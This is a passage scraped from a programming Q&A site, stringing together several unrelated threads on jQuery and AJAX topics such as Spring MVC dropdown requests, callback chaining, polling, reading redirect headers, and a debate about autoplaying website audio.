hidden_field.value = '1';
}
$(this).parents('.new_fields').remove();
$(this).parents('.fields').hide();
return false;
});
});
I am using spring web mvc for my application.
I have 1 dropdown list in my JSP View, coming from following request called savegroup.htm
<bean name="/savegroup.htm" class="com.sufalam.mailserver.presentation.web.GroupSaveController">
<property name="sessionForm" value="true"/>
<property name="commandName" value="Group"/>
<property name="commandClass" value="com.sufalam.mailserver.presentation.bean.GroupViewBean"/>
<property name="formView" value="common"/>
<property name="successView" value="managegroup.htm"/>
<property name="userSecurityProcessor" ref="IUserSecurityProcessor"/>
<property name="domainsSecurityProcessor" ref="IDomainsSecurityProcessor"/>
<property name="forwardingsSecurityProcessor" ref="IForwardingsSecurityProcessor"/>
</bean>
JSP Page has :
<form:form name="groupSaveForm" action="savegroup.htm" commandName="Group" method="POST">
Group Name :
<form:input path="source"/><br><br>
Domain List :
<form:select id="domains" onchange="javascript:getUser();" path="domainsList" multiple="false" size="1">
<form:option value="-" label="--Select--"/>
<form:options items="${domainsList}" itemValue="domain" itemLabel="domain"/>
</form:select>
</form:form>
Now my requirement is that, On the change event of my drop down list, i want to fetch related users from server and display that list of users in some list box..
For that how can i use jquery ajax call ?
Where i have to handle server side code which receives request and fetch related user ?
How to display that coming set of users in my JSP ?
There are a number of ways to solve this. I need a few answers to questions before I can give you solid guidance.
Do you have a preference for XML vs JSON for ajax requests?
One thing to note - there is nothing jquery specific about what I am going to tell you to do. You need to send back a response to the jquery async request in a form that is useful to jquery (XML or json, ideally), but on the server side, it just looks like a normal request which happens to use a view that renders XML or json instead of html. My personal preference is to use JSON, especially since the spring-json package works very well and is easy to use once you understand how it works. I recommend the spring-json package available from http://spring-json.sourceforge.net/ Read through all of the documentation and you should have a very good idea how it works.
In the most basic form, your solution needs to do the following:
Configure a view which uses noe of the spring-json views. I prefer sojoView for most cases.
make an async request to the server, which will return the list of users. If the only info needed to deliver the set of users is the selected value of the drop down, it would be pretty simple to just issue a GET request with the selected domain in the query string. On the server side, you need a controller that will be mapped to the incoming request and which will send back json or xml to be processed by jquery. Basically you can write a totally normal controller, whether accessed by GET or POST method, and add your list of users to the model before returning ther name of your json view. The 3 types of json view that are provided by spring-json will render the beans in your list into a json structure and send that to the client. You can use all of the standard DataBinder functionality for parsing/converting incoming parameters and any validation errors will generate field or global error messages in the json response which your client side code can present to the user.
In the simplest case, my code would look something like this (this is all spring 2.5. It uses annotations but you can do the same things with xml configuration in your app context.):
@Controller
public class AjaxController {
@RequestMapping("/some/path/selectDomain.json", method=RequestMethod.GET)
public ModelAndView processDomainSelection(@RequestParam(value="domain", required="true") String selectedDomain) {
List<User> users = service.loadUsersForDomain(selectedDomain);
ModelAndView mv = new ModelAndView("sojoView", "users", users);
return mv;
}
}
If I want to process via a POST request, and I wish to load an actual Domain object from the domainValue that is submitted, I can do somethign like this
@Controller
@RequestMapping("/some/path/selectDomain.json")
public class SelectDomainController {
public class FormBean {
protected Domain domain;
public Domain getDomain() {
return domain;
}
public void setDomain(Domain domain) {
this.domain = domain;
}
}
@ModelAttribute("command")
public FormBean getCommand() {
return new FormBean();
}
@InitBinder
public void initBinder(WebDataBinder binder, WebRequest request) {
// this custom editor knows how to load a Domain object from the domainValue string
// if it fails to convert, it can throw an exception, which will result in
// an error being logged against the "domain" field
binder.registerCustomEditor(Domain.class, "domain", new DomainLookupEditor(domainService));
}
@RequestMapping(method=RequestMethod.POST)
public String selectedDomain(@ModelAttribute("command") FormBean command,
BindingResult result,
Model model,
HttpServletRequest request) {
if (result.hasErrors()) {
return "sojoView";
}
Domain domain = command.getDomain();
List<User> users = domain.getUsers();
model.addAttribute("users", users);
return "sojoView";
}
}
For issuing the ajax request, you can use jquery ajaxForm module. Assuming you have a form with id "selectDomainForm" you need js that looks something like this:
function selectDomainSuccessHandler(json) {
// it is possible to send back a 200 response after failing to process the request,
// in which case, the sojoView will have set success=false in the json
if (json.success == true) {
// parse json here and render it into html in your document
} else {
// get field error and global error from json and present to user
}
}
function(selectDomainErrorHandler(xhr, returnCode) {
// do something based on the return code
}
var options = {
success: selectDomainSuccessHandler,
error: selectDomainErrorHandler,
dataType: 'json'
};
$('selectDomainForm').ajaxForm(options);
You can google up the documentation for the ajaxForm module in order to learn how to post instead of get and to send grab only certain fields and send them to a URL that is not the intended url of the form.
To display the list of users in the page, you will have a div in your code with an id like "userList" and you can iterate over the users in the returned json, creating html for each user. Simply add that html to the "userList" div and it will appear in the browser.
I'm a professional software developer. I've been programming in a lot of different languages over the course of more than two decades now. Picking up a new programming language is very easy for me.
However, I have no knowledge or experience whatsoever developing modern AJAXy web applications. What I need is a book that gives me a good overview over the technologies involved, most notably on the client-side, code samples that I can play around with and pointers to more in-depth stuff.
What I don't need is a chapter on how loops work or how to traverse a tree.
Any good ones?
Web development is a crazy different beast. Yes, the client side is important, and it's definitely what's being hyped at the moment, BUT there's a lot more you need to know to get up to speed.
Client-Side Code
The Server
Server-Side Code
Simple Installs
Bonus Materials
Pro JavaScript Techniques by Jon Resig
Pro JavaScript Techniques is the ultimate JavaScript book for the modern web developer. It provides everything you need to know about modern JavaScript, and shows what JavaScript can do for your web sites. This book does not waste any time covering things you already know, like basic syntax and structures.
Secrets of the JavaScript Ninja
This book is intended to take an intermediate JavaScript developer and give him the knowledge he needs to create a cross-browser JavaScript library, from the ground, up.
Try CSS, DHTML, and AJAX by Jason Cranford Teague. You might need to hunt for an updated version, but I found it to be easy to understand and absolutely invaluable as a reference for future development.
The Web doesn't stand still, and neither does this guide: Completely updated to cover the new browsers, standards, and CSS, DHTML, and Ajax features that define the Web today, the one thing that hasn't changed in this edition is its task-based visual approach to the topic. In these pages, readers will find friendly, step-by-step instructions for using CSS, DHTML, and Ajax to add visually sophisticated, interactive elements to their Web sites. Using loads of tips and screen shots, veteran author Jason Cranford Teague covers a lot of ground--from basic and advanced dynamic techniques (for example, making objects appear and disappear) to creating effects for newer browsers, migrating from tables to CSS, and creating new DHTML scripts with embedded scroll areas, fixed menu bars, and more. Users new to CSS, DHTML, and Ajax will find this a quick, easy introduction to scripting, while more experienced programmers will be pleased to find practical, working examples throughout the book.
There are many competing web development technologies out there, perhaps it might be a good idea to sharpen the question a little by picking a direction. If you'd like to work in the world of big business you'd probably still be best served learning ASP.Net(C#). For those languages I liked the books:
If you'd like to work in a well thought out and pleasant environment I'd recommend learning Ruby on Rails, the standard book for that(which is also quite good) is:
I've also heard some good things about Django, but I've never looked at it myself.
No matter what web language you decide to learn there will be some crossover. Javascript, XML, CSS, and HTML will be involved. I can't say that I really liked any of the books that deal with those technologies, but w3schools.com has some very good resources online:
I'd suggest that you come up with a project to work on, have it include things like users, authentication, uploads, downloads, messaging, scheduling, etc. Then, pick a technology and get to work. You'll learn much more by actually creating a working project than anything else.
While not a book, the ASP.NET tutorial site is an amazing source of information and source code.
It's been my experience that books are out of date the moment they are in print.
See my answer @ http://stackoverflow.com/questions/1419731/jquery-framework-internals/1419777#1419777
I also have a couple Javascript questions for tricky situations you may want to attempt to answer - http://stackoverflow.com/questions/1684917/what-questions-should-a-javascript-programmer-be-able-to-answer/1684945#1684945
I think the "Definitive Guide to JavaScript" by Flanagan is one good way to get an insight. Your question doesn't really make it clear whether you already know JavaScript. Some of the other answers here seem to assume that you do, but it isn't clear to me. Flanagan's book has good enough examples. But, my own introduction to this technology was just copy-and-paste of something I found from the internet which I wanted to use, rather than via a book. There are very many good examples on the internet of JavaScript programming.
Hmmm, first book I would recommend would be Agile Web Development with Ruby on Rails. But be aware that it will spoil you and get you thinking that web development is a breeze but enjoy its sweet necter and then dig deeper and see how other languages do it.
Also for speed on client-side stuff, go check out mootools and the mootorial:
http://mootorial.com/ http://www.mootools.net/
Gosh, not jQuery!
Edit: Seems I've been knocked down with out explaination, which I think is a bit unfair. I recommend ROR as a developer who comes from Classic ASP, ASP.net, JSP and even Lotus Notes! AWD with ROR is a perfect book for getting to grips with a web site application quickly. And as stated it does sugar coat some of the nasties of web development but its indepth enough to give you a really good over view. I can't think of a better book, hence the recommendation.
You should try Learning Ruby On Rails
The book I recommend you to start is Agile Web Development with Rails - it's a great book with a very practical approach.
Try sitepoint.com books. They are really well written. Reading "A List Apart Magazine" also will learn you a lot.
I'm finding myself writing a lot of spaghetti in Javascript when I have to deal with asynchronous applications (specially when dealing with OpenSocial code where all the data has to be obtained through JS). The usual pattern is something like:
Note that this sequential execution path (1 => 2 => 3 => 4) doesn't fit well the async. nature of Ajax so the user ends up waiting for a long time and the code turns into a mess since every step depends on the previous ones.
An example with code:
gadgets.util.registerOnLoadHandler(setupUser())
...
function setupUser() {
var req = [get data and setup request]
req.send(some_url, some_data, function(response) { getFriendsFor(response.user) });
}
function getFriendsFor(user) {
var friends = [get friends from user]
var req = [setup request]
req.send(some_other_url, some_other_data, function(response { validateFriendsResponse(response.friends) });
}
function validateFriendsResponse(friends) {
if (friends.valid())
...
loadCanvas();
}
You can see that each function depends on the previous one, and what's worse, it has to be called in a specific order to be useful. It gets worse when you have to add stuff like showing/hiding loading screens and other gimmicks while the user waits.
How would you go about fixing this?
One option might be to have a variable that shows the current state, and have a "controller" function that is always the AJAX callback function. Based on the current state, the controller function will call the next function in line. To simplify the controller function, I'd probably store the sequence of functions to call in a Javascript object, so all the controller function is doing is a lookup and a pass off to the next function in the sequence. This approach might be facilitated by having a single Javascript object that is always the parameter to the function (and contains all of the data that was returned by earlier AJAX calls.
Example:
var user = {};
var currentState = 1;
var someFunction = function(user) {//stuff here that adds data to user via AJAX, advances currentState, and calls controllerFunction as callback};
var someOtherFunction = function(user) {//stuff here that does other things to user, advances currentState, and calls controllerFunction as callback}
var functionSequence = {1:someFunction, 2:someOtherFunction}
var controllerFunction = function() {
//retrieve function from functionSequence based on current state, and call it with user as parameter
}
You can control this sort of spaghetti with things like the Observer pattern. Some JavaScript frameworks have a ready-to-use implementation of this functionality, for example Dojo's publish/subscribe functions.
Build your javascript client with an MVC architecture
JavascriptMVC - http://www.javascriptmvc.com/
SproutCore - http://www.sproutcore.com/
Jamal - http://jamal-mvc.com/
TrimJunciton - http://code.google.com/p/trimpath/wiki/TrimJunction
Trimpath - http://code.google.com/p/trimpath/
Code to handle the showing, hiding, and status features should be extracted into functions. Then, to avoid the "spaghettiness", one solution is to use the anonymous functions inline.
function setupUser() {
var req = [get data and setup request]
req.send(some_url, some_data, function(response) {
var friends = [get friends from user]
var req = [setup request]
req.send(some_other_url, some_other_data, function(response {
if (friends.valid())
...
loadCanvas();
});
});
}
If you want your functions to be capable of operating independently, equip the asynchronous ones with generic callbacks instead of calls to the "next" function in line. Then, as JacobM said, set up a "controller" that will call them in sequence. I've modified your sample code below to demonstrate (beware, this hasn't been tested):
gadgets.util.registerOnLoadHandler(userSetupController())
...
function setupUser(callback) {
var req = [get data and setup request]
req.send(some_url, some_data, function(response) { callback(response.user) });
}
function getFriendsFor(user,callback) {
var friends = [get friends from user]
var req = [setup request]
req.send(some_other_url, some_other_data, function(response { callback(response.friends) });
}
function validateFriendsResponse(friends) {
if (friends.valid())
return true;
else
return false;
}
function userSetupController() {
setupUser(function(user){
getFriendsFor(user,function(friends){
if (validateFriendsResponse(friends)) {
loadCanvas();
} else {
// don't load the canvas?
}
});
});
}
Creating callbacks get a little tricky if you're not familiar with them - here's a decent explanation: http://pixelpushing.net/2009/04/anonymous-function-callbacks/. If you want to get more complex (again, as JacobM suggested), you could write some code that handles this automatically - give it a list of functions, and it executes them in order, passing the callback data around. Convenient, but may be overkill for your needs.
Part of the problem is that you're thinking of this as a four-step process with three round trips to the server required. If you really think this is a single workflow, and the thing the user is most likely to do, then the best speedup is to collect as much info in the first interaction as possible to reduce the round trips. This may include allowing the user to check a box saying she wants to follow this path, so you don't have to return to the user in between steps, or allowing her to enter a guess at the friends' names that you can process the first time around, or pre-loading the name list the first time.
The way you've outlined the code works best if this is just one of many paths the user might follow; the multiple round trips are required because at each interaction, you're finding out what the user wants, and a different answer would have sent you in a different direction. This is when the loosely coupled code style you are disparaging really shines. It looks like each step is disconnected from what went before because the user's actions are driving the activity.
So, the real question is whether the user has a choice at the beginning that determines the direction your code goes. If not, then you want to optimize the path you know (or strongly predict) the interaction is going to go. On the other hand, if the user interactions drive the process, then decoupling the steps and reacting to each interaction is the right thing, but you'd expect many more divergent possibilities.
I have a client that wants audio to play while the user is browsing the website. Besides the fact that audio is annoying when it starts automatically and plays when you are browsing, I thought of the following technical struggles.
Having to use frames to allow audio to play uninterrupted. SEO issues with using frames
Having to use ajax to allow audio to play uninterrupted. SEO issues with all ajax site
Pop-up to allow audio to play in another window JS pop-up blockers won't allow this
Does anyone else have other technical hurdles that I can use in my defense?
Music on your website is a terrible idea
If the client is unwilling to see how bad of an idea that playing music can be, try to meet in the middle. Maybe add a music player options so users can choose to toggle between on or off. That's the best attempt and what my strategy would be.
Losing customers in the effort to prove a point isn't going to win any brownie points with the client, so I would avoid putting music on without the ability to turn it off. Furthermore, you risk frustrating your user base by defaulting the music to on/loud.
However, in this scenario, you will probably find that most people never turn on the music because they don't realise it's there.
You could ask your users what they prefer the first time they load the page up:
Do you mind if we play music during your visit to our site?
- Sure, go ahead, I love music
Actually, I'd rather you didn't
[X]Never ask me this again
You'll likely find that most of the users say no, and they'll appreciate you not harassing them on every visit to your site. Likewise, those that want to listen to the music can appreciate it without your whole user base being irritated by it.
It doesn't matter what you or s/he thinks. All that matters is how the customer reacts.
Easy way: see if they'll agree to asking 10 random strangers (who are representative of the visitors you get) and playing music in the background (you can just mock this up) and abiding by their opinion.
Hard way: If the client won't agree to #1, try the one below (and once they realize #1 costs $30 and #2 costs $300 to do they'll then opt for #1)
How about some objective metrics with an A/B split test: Randomly assign half the visitors to hear music, the other half not to. Then compare conversion rates (or abandonment rates).
Hmm, this is a tough issue because there really is no clear, definitive answer. I like to look at issues like this:
Technical:
If a client wants a feature (in this case sound) perform the due diligence to research if browsers can support that feature, and which ones will not. Come up with numbers to show the client. X feature is only supported in X browser and most people use "this" browser so I would / wouldn't use this feature.
Psychological:
Specifically for sound, study the psychological effects, usability of this feature as it concerns the end user. I will immediacy leave a website if a video or sound starts playing without my permission. I expect a choice, and when that choice is taken away I leave. And at the point where I leave, I'm mad, I hate any user experience where I am left out.
Client is not always right:
So most of us have heard that the client is ALWAYS right. Well to be quite honest, no no they are not ALWAYS right. It does not matter whether your selling websites, or magazines, or working on cars, you have to be there for your client. Obviously if you do good work people will refer you. However sometimes you have to stand your ground with a client. My suggestion is to make sure you do that at the beggining of a project, rather than later. I've turned down projects, or agreed to handle only certain aspects of a site design because I wouldn't be associated with certain features. For example I don't do Flash sites. Not that flash is bad I just don't do it. I give those projects to friends. And they return the favor. If you tell a client upfront that you won't / can't deliver that's a good thing. Don't say yes and then come up with an excusse later in the project, that's where the client will become frustrated with you, and if they complain they are right to do so, and you will loose business.
At the end of the day communication, deciding upfront what you will and will not do will save your lots of headaches.
And as for sound, it has it's time and place. Bands, Flashsites especially those highend national ad campaings for cell phones, or movies can get away with sound. The best option at the beginning of a project is to tell (don't ask) the client that they can have sound, and if it does auto play you will set he volume to low, and have a visable player that the user can control, meaning they can TURN IT OFF, OR LOWER THE VOLUME, these features are not negotiable. If they have a hard time with that, then walk away from the project because they will have a hard time with anything. And don't be afraid to turn down work. For every 3 sites I work on I turn down one.
I recently took on a project that requires sound. I'm kinda in a pickle with my client (he's not mad) but he told me he wanted sound and I offered to use a player, and give control to the end user. He was ok with that. Recently, after checking out the sound player feature he says "No, I wanted a sound to play when you rollover the navigation. The pickle is that he never said that, and I've stood my ground with him about adding that feature. So he's a little upset with me, but we are working it out. He's mostly upset that I want to charge for the extra feature, and I'm not budging. It will all work it. Just an example.
Sorry for the long reply, Good luck!
If someone is viewing your client's web site at work, the music could cause them to click away immediately. That's what happens when audio starts playing on a site I'm browsing at work.
I had this issue with a client. I solved it by doing an Ajax site, but in order to workaround SEO downfalls of Ajax, all the navigation links literally linked to another page. Search engines saw a completely normal site, where navigation links were normal and only the content paragraphs for that one page were loaded in the HTML.
The JavaScript then progressively enhances the page by overriding the link behavior to load the content for the new page. So users with JavaScript got a great Ajax experience, with audio, and only the content div loaded new content.
You can even get around back/forward button issues by marking #pagename in the URL for each page. Upon page load you should check to see if a #pagename is there, and then load the content for that page.
Hope that's clear enough - let me know if you need more details.
I might site precedent to make my case. Identify his space or niche in the internet. Look at other site owners who are very successful in his space. Do they play music? Is it working for them?
Nothing you've listed is a reason to avoid playing audio on their website.
To you and I (and many others I suppose), auto audio is really annoying.
My suggestion is that you explain your feeling to your client.
If your client still insists on having audio, then do what they want. The client is your customer, and the customer is always right.
As an aside, many photographers I know have audio, and while many poo-poo this, they all swear that their clients love it. So I guess to each their own.
See if you can figure out why, from your client's perspective, they want this feature. See if they can give you good reasons. Then you can begin seeing how to meet their goals without necessarily using their methods.
That might help with convincing them, as opposed to resorting to technical concerns. Going technical makes it sound like you don't want to do your job. That's not the case at all -- I'm sure you want their site to be awesome and you will do what it takes to make that happen. It's just that "what it takes" may not be exactly what the client asked for the first time.
Store designs, notes, and specs for client's approval on your own web site. Add music to these pages. Make sure it's music he doesn't like.
This comes down to one of the primary rules of usability: do what the user expects.
The only way I'd consider putting auto-playing music on a website is if it's for a band website with an integrated Flash music player. The reason is simply that the user will expect it. Any other time it's just annoying.
There is nothing like a practical demonstration. Find a suitably annoying midi file and loop it endlessly. If the client can stay in the same room for 30 minutes without their head exploding then they have won the right to put music on the site.
Another point - many users open many tabs/windows at once, so if music starts playing, you don't actually know which site is doing it, which is intensely annoying!
Every time you call the client, blare music in the background and say you just opened some website that started playing it automatically.
Suggest against it, because most internet users actively dislike it. Make a comparison to the blink tags of ten years ago, which also made sites seem less professional to the larger audience.
And if they still want it, do it, because it'll make them happy, and happy customers with terrible work beats unhappy customers with the Best Site Ever. Just leave the site out of any portfolio of your work you put together.
Or, as the genius above already added, add a toggle for music on/off.
Put it on the website and wait for complaints to come in.
The business stakeholders do not care your technical worries. So I advice you not to waste time telling them or seek more.
The business stakeholders do care about money- and that is the major reason why you were hired and a "currency" you can use to "talk" to them. Explain to them things like:
How adding audio can reduce an ability for customers to stumble upon their site via a Google or bing search (SEO)
How audio can be distruptive and make them more likely to go to the competition (which is only a click or two away) (this is your pop-up issues)
The current state of technology and users' expectation will not make this site pretty and give a poor return of investments (Ajax problem you mentioned)
Notice each of these focus on the buttonline (profit-$$$) and does not bore the business stakeholders with technical details which is not their problem (but yours.) Speak to them in their language, be frank and realistic and these guys can be wonderful. A demo of an extremely bad site can help if you feel that it helps your cause (but be careful because this can also hurt you.)
Create a video presentation introducing the prototype site. Make sure the volume is very low (as it is on too many videos) so he has to turn up the volume to hear it. At the end of the presentation, give the URL to the prototype site so he can try it out for himself, normal-volume (now blasting since he cranked up the volume) audio included.
So I've got this jQuery AJAX call, and the response comes from the server in the form of a 302 redirect. I'd like to take this redirect and load it in an iframe, but when I try to view the header info with a javascript alert, it comes up null, even though firebug sees it correctly.
Here's the code, if it'll help:
$j.ajax({
type: 'POST',
url:'url.do',
data: formData,
complete: function(resp){
alert(resp.getAllResponseHeaders());
}
});
I don't really have access to the server-side stuff in order to move the URL to the response body, which I know would be the easiest solution, so any help with the parsing of the header would be fantastic. Thank you for your time.
var geturl;
geturl = $.ajax({
type: "GET",
url: 'http://....',
success: function () {
alert("done!"+ geturl.getAllResponseHeaders());
}
});
The underlying XMLHttpRequest object used by jQuery will always silently follow redirects rather than return a 302 status code. Therefore, you can't use jQuery's AJAX request functionality to get the returned URL. Instead, you need to put all the data into a form and submit the form with the target attribute set to the value of the name attribute of the iframe:
$('#myIframe').attr('name', 'myIframe');
var form = $('<form method="POST" action="url.do"></form>').attr('target', 'myIframe');
$('<input type="hidden" />').attr({name: 'search', value: 'test'}).appendTo(form);
form.appendTo(document.body);
form.submit();
The server's url.do page will be loaded in the iframe, but when its 302 status arrives, the iframe will be redirected to the final destination.
try this:
type: "GET",
async: false,
complete: function (XMLHttpRequest, textStatus) {
var headers = XMLHttpRequest.getAllResponseHeaders();
}
cballou's solution should work. maybe you are using an old version of jquery. you can also try this:
$.ajax({
type: 'POST',
url:'url.do',
data: formData,
success: function(data, textStatus, XMLHttpRequest){
alert(XMLHttpRequest.getResponseHeader('some_header'));
}
error: function (XMLHttpRequest, textStatus, errorThrown) {
alert(XMLHttpRequest.getResponseHeader('some_header'));
}
});
According to docs the XMLHttpRequest object is available as of jQuery 1.4.
If you don't have access to server code, you should abandon all hope trying to do it with XMLHttpRequest. This is the only honest, indeed crossbrowser answer.
Well, you don't have access to this very server code, but you can always write a proxy code somewhere, provide access from clientside and check the "real" server.
+1 to PleaseStand and here is my other hack:
after searching and found that the "cross ajax request" could not get response headers from XHR object, I gave up. and use iframe instead.
1. <iframe style="display:none"></iframe>
2. $("iframe").attr("src", "http://the_url_you_want_to_access")
//this is my aim!!!
3. $("iframe").contents().find('#someID').html()
I got a little problem here guys. I'm trying to implement the following scenario:
1- A user opens the home page and sees a list of other users and clicks to add one to his friend list.
2- I issue an Ajax request to a server resource to validate if the user is logged in, if so, I issue another ajax request to another server resource to actually add it to the user's friend list.
Sounds simple? Here's what I've done: I created a function "isLoggedIn" that will issue the first request to the server in order to determine if the user is logged in. I issue this request using jQuery.ajax method. Here's my function looks like:
function isLoggedIn() {
$.ajax({
async: "false",
type: "GET",
contentType: "application/json; charset=utf-8",
dataType: "json",
url: "/isloggedin",
success: function(jsonData) {
alert("jsonData =" + jsonData.LoggedIn);
return jsonData.LoggedIn;
}
});
}
The returned JSON is very simple, it looks like the following:
{ LoggedIn: true } or { LoggedIn : false }
Now this method, actually works and displays the alert correctly: "JsonData = true" if logged in, and "JsonData=false" if not logged in.
Up to this point there's no problem, the problem occurs when I try to call this method: I call it like so:
$(".friend_set .img").click(function() {
debugger;
if (isLoggedIn()) {
alert("alredy logged in");
trackAsync();
popupNum = 6;
}
else {
alert("not logged in"); //always displays this message.
popupNum = 1;
}
//centering with css
centerPopup(popupNum);
//load popup
loadPopup(popupNum);
return false;
});
Calling isLoggedIn always returns false, and it returns false before the ajax request finishes (because the message "jsonData = true" is displayed after the message "not logged in". I made sure that the request is NOT Asynchronous by stating async: false!
Apparently it's still working asynchronously, though. What am I missing here guys?
You need async:false, not async:"false". (i.e. pass boolean false, not string "false").
Edit: also with async requests you need to return a value after the call to ajax, not inside your success handler:
function isLoggedIn() {
var isLoggedIn;
$.ajax({
async: false,
// ...
success: function(jsonData) {
isLoggedIn = jsonData.LoggedIn
}
});
return isLoggedIn
}
Our team has been using Microsoft's AJAX Toolkit since the days of Atlas. In a bit of naivety we missed the jQuery/Prototype phenomenon until a month or two back. Until now, we have always associated the concept of Ajax with Microsoft's toolkit.
In reading up on jQuery I'm seeing a whole new side of Ajax that I was only vaguely aware of. That is, you can use JavaScript (or a JS library) to talk to the server without using a specialized control. At first glance, it seems like this offers better browser compatibility and less bloat. I'm certainly interested in it.
My question to the community:
When working with ASP.NET and faced with the need to communicate with the server without a postback, how does one make the determination to use a control from the AJAX Toolkit instead of working with something like jQuery? Is there a reason to use both?
I've found the proficiency of the team with JavaScript and the DOM makes a huge difference on the uptake of jQuery over MS controls. If the team is happily unaware of the DOM, HTTP, asynchronous operations, event driven UIs, or what JSON means and why it's the cat's meow, I'd stick with AjaxControlToolkit.
If on the other hand they are consistently trying to work around the toolkit to manipulate a control directly via JavaScript, jQuery takes the pain out of manipulating the DOM like this.
In the end, if your team can get to market faster with .NET controls, stick with it for the overall delivery of the app and have them slowly try jQuery for bits and pieces here and there (animations, jquery ui, .bind() and separating behavior from presentation). Eventually you either a) get enough experience that you can transition new pages/apps to 100% jQuery or b) make enough money to hire someone proficient at DOM scripting and teach the team themselves ;)
Good question.
I believe that while there's still place for the AJAX Toolkit controls--as there is for classic Web Forms--your code will be cleaner and easier to maintain when using jQuery. But above all you'll have much more control and flexibility over how your code behaves.
You can always use some controls for specific situations, using jQuery for the rest. I don't think there is anything fundamentally wrong with employing both approaches simultaneously.
imo it is down to which ever you prefer.
Microsoft uses drag & drop controls like update panel, where as jquery is written by hand and in my experience offers a greater degree of flexibility.
JQuery seems to be the framework of choice at the moment for DOM scripting and AJAX, it just makes javascript related tasks a lot quicker and easier to implement.
While the Microsoft AJAX Toolkit is convenient and simple to drop in, its easy to quickly hit barriers when you want to do anything more complicated than what you designed. If you're interested in learning the ins and outs of AJAX with a friendly library, JQuery is the way to go. This knowledge will translate across multiple platforms; for instance, if your team decides to try using Django, Ruby on Rails, etc. then you already have JQuery as your go-to AJAX toolkit. This is especially true if you're ever planning to move from ASP.NET to ASP.NET MVC for which Microsoft has dubbed JQuery the official client-side javascript toolkit.
I stopped using the MS Ajax stuff a long time ago because many of the applications I develop need to be accessible and degrade gracefully. i.e. Unobtrusive Javascript. I firmly believe that MS will eventually move their Javascript stuff in that direction but not just yet.
Basically every web page I develop will have no inline javascript whatsoever bar the external links to js files and the page will work with javascript off. This is my priority but may not be yours or anyone elses. These days we wouldn't dream of placing a font tag in html rather than our external css files. Over time we will probably think the same about script.
AJAX Toolkit is a product of a great "legacy problem" issue. MSFT has to support ASP(X), web forms, etc... ASP (and JSP) are implementations of 10+ years old concept: creating HTML page on the server side. The whole "interactivity" is/was achieved with FORM submit. And inevitable page re-loads. Page design was/is possible only with Visual Studio, and in reality is very difficult. All together this is not AJAX. World has moved on. jQuery means AJAX. jQuery is javascript library for AJAX clients. It uses DOM and few other HTML+browser features. AJAX/jQuery is server agnostic: any web server will do. AJAX and jQuery, means total decoupling. MSFT AjaxToolit is very closely coupled with ASP(X), and inevitably IIS. That was yesterday. On the other side, jQuery is forcing you to adopt thinking of today. Which is a good thing, especially if you are raised on ASP, and you want/need to move on.
Fortunately MSFT has realised it has to move on too, and ASP.NET MVC + jQuery was "allowed". It is not 100% AJAX architecture, but a very good step into the right direction. It is not webforms. It is not ascx.
Advice: never have one team develop web server side and web app client side. Use AJAX+REST+JSON. Have two decoupled teams developing loosely coupled web app.
--DBJ
Ah, and the crucial difference is:
AJAX.NET is built on JScript + simulated Class approach.
jQuery is built on JavaScript and on a pure FUNCTIONAL approach.
--DBJ
I'm a novice-to-intermediate JavaScript/jQuery programmer, so concrete/executable examples would be very much appreciated.
My project requires using AJAX to poll a URL that returns JSON containing either content to be added to the DOM, or a message { "status" : "pending" } that indicates that the backend is still working on generating a JSON response with the content. The idea is that the first request to the URL triggers the backend to start building a JSON response (which is then cached), and subsequent calls check to see if this JSON is ready (in which case it's provided).
In my script, I need to poll this URL at 15-second intervals up to 1:30 mins., and do the following:
I've tried a few approaches with limited success, but I get the sense that they're all messier than they need to be. Here's a skeletal function I've used with success to make a single AJAX request at a time, which does its job if I get usable content from the JSON response:
// make the AJAX request
function ajax_request() {
$.ajax({
url: JSON_URL, // JSON_URL is a global variable
dataType: 'json',
error: function(xhr_data) {
// terminate the script
},
success: function(xhr_data) {
if (xhr_data.status == 'pending') {
// continue polling
} else {
success(xhr_data);
}
},
contentType: 'application/json'
});
}
However, this function currently does nothing unless it receives a valid JSON response containing usable content.
I'm not sure what to do on the lines that are just comments. I suspect that another function should handle the polling, and call ajax_request() as needed, but I don't know the most elegant way for ajax_request() to communicate its results back to the polling function so that it can respond appropriately.
Any help is very much appreciated! Please let me know if I can provide any more information. Thanks!
You could use a simple timeout to recursively call ajax_request.
success: function(xhr_data) {
console.log(xhr_data);
if (xhr_data.status == 'pending') {
setTimeout(function() { ajax_request(); }, 15000); // wait 15 seconds than call ajax request again
} else {
success(xhr_data);
}
}
Stick a counter check around that line and you've got a max number of polls.
if (xhr_data.status == 'pending') {
if (cnt < 6) {
cnt++;
setTimeout(function() { ajax_request(); }, 15000); // wait 15 seconds than call ajax request again
}
}
You don't need to do anything in your error function unless you want to put an alert up or something. the simple fact that it error will prevent the success function from being called and possibly triggering another poll.
Off the top of my head:
$(function ()
{
// reference cache to speed up the process of querying for the status element
var statusElement = $("#status");
// this function will run each 1000 ms until stopped with clearInterval()
var i = setInterval(function ()
{
$.ajax(
{
success: function (json)
{
// progress from 1-100
statusElement.text(json.progress + "%");
// when the worker process is done (reached 100%), stop execution
if (json.progress == 100) i.clearInterval();
},
error: function ()
{
// on error, stop execution
i.clearInterval();
}
});
}, 1000);
});
thank you very much for the function. It is a little bit buggi, but here is the fix. The function above doesn't stops after reaching the 100%, because there is wrong usage of the clearInterval function.
Here is a working function:
$(function ()
{
var statusElement = $("#status");
// this function will run each 1000 ms until stopped with clearInterval()
var i = setInterval(function ()
{
$.ajax(
{
success: function (json)
{
// progress from 1-100
statusElement.text(json.progress + "%");
// when the worker process is done (reached 100%), stop execution
if (json.progress == 100) clearInterval(i);
},
error: function ()
{
// on error, stop execution
clearInterval(i);
}
});
}, 1000);
});
The clearInterval() function is becomming the interval id as parameter and then everything is fine ;-)
Cheers Nik
Gmail uses # when you click on a mail to distinguish the page (+ Ajax action). http://mail.google.com/mail/#inbox/1238e709e37a1394
I found: http://stackoverflow.com/questions/1122523/google-using-instead-of-search-in-url-why
In FF or Chrome you can use Forward and Back without refresh between those urls: http://X.com/MyPage.aspx#1 http://X.com/MyPage.aspx#2 http://X.com/MyPage.aspx#3
But on IE the page refresh and it doesn't count the params after # when a back action is made.
How Gmail make the magic happens?
I can give you the answer to this, because I've faced and solved this problem.
There are a few concepts to understand here first:
http://mail.google.com/mail#inbox, #inbox is the hashed part. Lets call it the "hash". so http://mail.google.com/mail will be our "base URL".Tracking history by GMail is mainly done using tricks based on this "hash".
So, a few more concepts:
So, when you go from http://mail.google.com/mail#inbox to http://mail.google.com/mail#sent, the page does not get refreshed.
